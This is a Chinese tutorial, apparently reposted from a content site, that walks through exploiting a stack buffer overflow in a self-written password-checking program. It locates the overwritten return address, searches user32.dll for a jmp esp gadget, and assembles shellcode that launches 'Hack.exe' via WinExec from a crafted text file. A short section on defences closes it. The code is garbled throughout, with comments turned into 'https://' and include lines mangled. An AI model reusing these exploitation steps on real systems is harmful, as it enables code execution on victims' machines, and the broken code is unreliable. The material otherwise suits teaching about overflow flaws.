怎样利用简单程序漏洞反病毒
电脑已经走进我们的生活,与我们的生活息息相关,感觉已经离不开电脑与网络,对于电脑病毒,今天小编在这里给大家推荐一些预防电脑病毒相关文章,欢迎大家围观参考,想了解更多,请继续关注读文网。
一、前言
大都数“病毒”都是可执行文件(EXE格式),都是传统意义上的恶意程序,它们在被用户双击运行后,就开始执行自身代码,实现相应的功能,从而对用户的计算机产生威胁。而这次我打算讨论一种特殊的情况,也就是利用正常程序所存在的漏洞,仅仅通过文本文档(TXT格式),来实现我们的对话框的启动。所以这篇文章的讨论重点就在于简单的漏洞发掘以及运用ShellCode实现漏洞的利用。在此不会讨论复杂的情况,仅仅用浅显的例子来说明这些问题,因为即便是现实中的复杂情况,其基本原理是相似的。这也是为以后的篇章中讨论更加复杂的情况打下基础。
二、编写含有漏洞的程序
在现今的软件开发中,尽管程序员的水平在提高,编程技巧在不断进步,但是大部分人对于计算机安全的概念还是比较模糊的,真正掌握计算机安全技术的人毕竟还是少数。特别是计算机安全往往还涉及到系统底层原理、汇编甚至是机器码,这就更加令人望而却步。我在这里讨论的就是一个含有漏洞的程序,它含有缓冲区溢出漏洞。缓冲区溢出攻击是一种非常有效而常见的攻击方法,在被发现的众多漏洞中,它占了大部分。
以下就是本次所研究的程序:
include#include
include#define PASSWORD "1234567890"
int CheckPassword(char *pPassword)
{ int nCheckFlag;
char szBuffer[30]; nCheckFlag = strcmp(pPassword, PASSWORD);
strcpy(szBuffer, pPassword); https://存在溢出漏洞 return nCheckFlag;
}
int main() {
int nFlag = 0; char szPassword[1024];
FILE *fp; LoadLibrary("user32.dll");
if(!(fp=fopen("password.txt", "rw+"))) {
return 0; }
fscanf(fp,"%s",szPassword); nFlag=CheckPassword(szPassword);
if(nFlag) {
printf("Incorrect password!"); }
else {
printf("Correct password!"); }
fclose(fp); getchar();
return 0; }
这里来讲解一下程序的运行流程。main函数中首先会打开当前目录下的password.txt文件,然后调用CheckPassword函数,该函数会对从password.txt文件读取出来的内容与字符串“1234567890”进行比较,用于验证密码是否正确,之后将用户所输入的密码拷贝到子函数自己创建的数组中,再返回到主函数,最后对用户所输入的密码是否正确进行显示。
这个程序中之所以要用TXT文件来保存用户输入的密码,就是为了方便之后的讨论与观察。而在子函数中将用户输入的密码拷贝到一个数组中,仅仅是为了创造一个缓冲区溢出的漏洞,也是为了方便之后的讨论。在现实中,可能难以出现这样的情况。但是原理是一样的,缓冲区溢出漏洞出现的原因就是因为没能检测待拷贝数据的大小,而直接将该数据复制到另一个缓冲区中,从而使得恶意程序得到了攻击的机会。
三、漏洞原理的分析
不论是对于本篇文章所讨论的最简单的缓冲区溢出的漏洞,还是复杂的,可能会在未来的文章中讨论的堆溢出以及SEH的利用,其核心可以说都是利用了指针(或者说是相应的地址)来做文章。对于这次的程序来说,首先需要从反汇编的角度简单讲一下程序的执行原理。
主函数中会调用CheckPassword函数,那么在反汇编中,就需要找到调用该函数的位置,这个很简单:
004010F3 E8 0DFFFFFF call 00401005
之所以能很快确定函数的位置,是因为它在源程序中就在fscanf函数的后面,那么反汇编中,他的位置也在fscanf的后面。这里有必要简单说一下call的实现原理。它分为两步,第一步是向栈中压入当前指令在内存中的位置,即保存返回地址(EIP所保存的地址,也就是call的下一条指令,EIP入栈);第二步是跳转到所调用函数的入口处。进入这个call,来到以下反汇编代码处:
00401020 55 push ebp 00401021 8BEC mov ebp,esp
00401023 83EC 64 sub esp,64
可以说每一个函数的开始,其反汇编结果都是这么几句。主要是三步:第一步需要保存当前栈帧状态值,以备后面恢复本栈帧时使用(EBP入栈);第二步将当前栈帧切换到新栈(将ESP值装入EBP,更新栈帧底部);第三步给新栈帧分配空间(把ESP减去所需空间的大小,抬高栈帧)。
这里需要说明的是,以上所分析的是程序的Debug版,如果是Release版,由于做了优化,可能会有些不同,但也是遵循基本原理,在这里就不再对Release版进行讨论。
现在来看看堆栈中的情况,按照内存地址递减的顺序,EBP相比EIP位于内存的低地址处,这两个寄存器在栈中是挨着的。再来看看CheckPassword函数结尾处的反汇编代码:
0040106C 8BE5 mov esp,ebp 0040106E 5D pop ebp
0040106F C3 retn
可见这里首先将esp指向了当前栈帧的栈底,之后从栈中弹出原始ebp的值,这样就实现了恢复栈帧的操作。之后的retn语句,就是再次弹出栈顶的值(EIP),并转去执行EIP所指向的语句,也就是之前的call的下一条语句。
分析至此,就可以发现,我们可以通过修改EIP所保存的值(指令地址),来实现跳转到我们自己的“病毒代码”地址处的目的。当然这里我不会利用反汇编工具进行修改,而是直接运用password.txt这个文本文档来实现。
四、定位EIP
知道了漏洞利用的原理,那么接下来就需要确定EIP的位置。EIP的位置尽管可以通过反汇编工具获得,但是在此我不想用这种简单的方法,而是运用Windows的报错对话框实现EIP的定位。当EIP被覆盖为一个无效地址后,系统就会提示出错,报错对话框就能够显示出来究竟是哪个地址(EIP)出错,这里可以通过一些小技巧来定位。
当然,每个人往往有自己认为最好的定位方法,我个人比较喜欢的方法是运用26个小写字母连同26个大写字母组成一长串数据进行测试,这样一次性就能够测试52个字节的长度。具体方法是将这52个字母写入password.txt文件,运行程序查看是否报错,如果不报错,就再写入52个字母,直至报错为止。幸运的是,在这个程序中,前52个字母就使得报错对话框弹出了:
从报错对话框中可以得知,EIP已经被覆盖为0x5251504f,通过查询ASCII码表可以得知,对应的四个字母是OPQR(小端显示,我这里反过来写了),于是可知,EIP的位置就是password.txt文档内容的第41至第44个字节处。
确定了EIP的位置,那么接下来就要确定应当给它赋以什么地址。这里当然可以利用反汇编软件在程序中寻找空余的位置,将代码写入,然后令EIP指向该代码处。但是这里我打算用更加巧妙的方法——jmp esp。我们可以将EIP指向内存中jmp esp的地址,然后将我们的程序的机器码(ShellCode)顺序从EIP处向下(地址高处)覆盖,这样jmp esp就能够直接跳到我们的代码处执行了。
首先编程序寻找jmp esp:
include#include
include#define DLL_NAME "user32.dll"
int main()
{ BYTE *ptr;
int position,address; HINSTANCE handle;
BOOL done_flag = FALSE; handle = LoadLibrary(DLL_NAME);
if(!handle) {
printf("load dll error!"); exit(0);
} ptr = (BYTE*)handle;
for(position = 0; !done_flag; position++)
{ try
{ if(ptr[position]==0xFF && ptr[position+1]==0xE4)
{ int address = (int)ptr + position;
printf("OPCODE found at 0x%x", address); }
} catch(...)
{ int address = (int)ptr + position;
printf("END OF 0x%x", address); done_flag = true;
} }
return 0; }
程序执行结果如下:
上述程序中是在user32.dll中寻找jmp esp的机器码FFE4,会查找到很多的结果,选择其中的一个就可以。这里需要特别说明的是,不同的计算机不同的操作系统版本,所找到的jmp esp的地址可能会不一样,就是说jmp esp的地址往往并不是通用的。当然,也会有几个地址是跨版本的,这个在这里不讨论。这次我们选择截图中的第一个地址——0x77d93ac8。由于是小端显示,所以应当在“OPQR”的位置反向书写,即c83ad977。当然这里不能够直接用类似于记事本这样的软件进行编辑,而是需要用十六进制代码编辑器操作。
五、编写ShellCode
为了简单起见,我这里将“病毒”程序与上述漏洞程序放在同一目录下,并且为了编写方便,我这里将“病毒”名称更改为Hack.exe。为了实现“病毒”的启动,我不打算直接将“病毒”程序转化为ShellCode,毕竟那样的话工作量太大,而是编写一个能够启动“病毒”程序的ShellCode。这里我使用WinExec函数用于“病毒”的启动,最后再用ExitProcess函数实现程序的正常退出。查询这两个函数句柄的代码如下:
include#include
typedef void (*MYPROC)(LPTSTR); int main()
{ HINSTANCE LibHandle;
MYPROC ProcAdd; LibHandle = LoadLibrary("kernel32");
https://获取user32.dll的地址 printf("msvcrt LibHandle = https://x%x", LibHandle);
https://获取MessageBoxA的地址 ProcAdd=(MYPROC)GetProcAddress(LibHandle,"WinExec");
printf("system = https://x%x", ProcAdd);
return 0; }
运行结果如下:
上述程序首先需要知道被查询函数所在的动态链接库,先查出动态链接库的地址,之后利用这个地址,从而查询相应API函数的句柄。可以知道WinExec的句柄为0x7c863231,那么同理,ExitProcess函数的句柄为0x7c81bfa2。
至此,我们已经获得了足够的信息,接下来就可以进行ShellCode的编写了,但是一般来说,我们不会特意去记忆十六进制的机器码,因此都是先写出汇编程序,然后利用相应的软件通过转换,从而查看其机器码。具体的方法有很多,我还是比较倾向于在VC++6.0中以内嵌汇编语言的形式进行编写:
_asm {
xor ebx,ebx push ebx
push 0x6578652e push 0x6b636148
mov eax,esp ;压入字符Hack.exe
push ebx push eax
mov eax,0x7c863231 call eax ;调用WinExec函数
push ebx
mov eax,0x7c81bfa2 call eax ;调用ExitProcess函数
}
这里需要把asm中的内容转化为机器码,VC++6.0就可以实现(也可以使用其它反汇编软件)。利用十六进制文件编辑器,将提取出来的机器码直接填写进password.txt中EIP的后面。
这里要说明的是,尽管以上仅仅是调用了非常简单的函数,但是实际上,不管是什么函数,其调用原理和上面是一样的,都是首先需要把参数从右至左入栈,然后call该函数所在的地址。为了增强可移植性,可以利用TEB获取相关函数的句柄,从而编写出通用性极高的ShellCode出来(这些高级方法可能会在以后的文章中讨论)。由此可见,漏洞可以很容易被恶意程序所利用。
当编辑完password.txt后,运行CheckPassword.exe程序,结果如下图所示:
由此可见,仅仅是通过修改password.txt就能够在神不知鬼不觉的情况下实现病毒的启动(尽管这一过程有诸多限制)。而这里所用到的WinExec函数也多用于“下载者”中,它是一种功能单一的恶意程序,能够令受害的计算机到黑客指定的URL地址去下载更多的恶意程序并运行。“下载者”体积小,易于传播,当它下载到病毒木马后,通常就使用诸如WinExec这样的函数来运行病毒。
六、“病毒”的防范
漏洞的发掘与利用是一个较为高深的话题,在现实中,其发掘的难度是远远高于我在这里所举的例子的。高明的黑客手中往往掌握着一些不被软件生产厂家所知道的漏洞,他们利用这些软件漏洞,往往就能够为所欲为。所以,这就要求我们培养良好的安全编码习惯。在上述例子中,漏洞的出现就是因为使用了strcpy函数,更具体来说,因为我们没有对将要复制到缓冲区中的数据进行长度检验,导致了EIP被非法覆盖,跳去了不应该去的位置,执行了不该执行的代码。现实中的漏洞往往也是这个道理。所以在这种情况下,应当事先检验数据的长度,至少将strcpy替换成strncpy,尽管后者也存在危险,但至少会按照编程者要求的数据量的大小来拷贝数据,这就安全多了。当然我们系统版本的不断升级,在安全性方面也会不断进步。比如加入的Security Cookie就能够较好地对缓冲区溢出的问题进行防范。不过这也不是绝对安全的,毕竟在攻与防的对立统一中,技术是不断进步的。但是归根结底,只有在源头上做足功夫,才会让黑客们无从下手。
七、小结
本篇文章构造了一个特殊的环境——存在漏洞的程序——实现了“病毒”的自启动。由于关于漏洞的知识体系比较庞大且较为高深,我也只能用这个简单的程序来让大家看看冰山的一角。这里需要再次说明的是,现实中漏洞的原理和利用方法可以说和这个例子是差不多的。现实中可能需要我们编写出更为通用的ShellCode来实现我们想要完成的功能,这些会在以后的文章中进行讨论。本篇文章仅仅是为了打好基础,为未来更加高深的知识的探讨做好准备。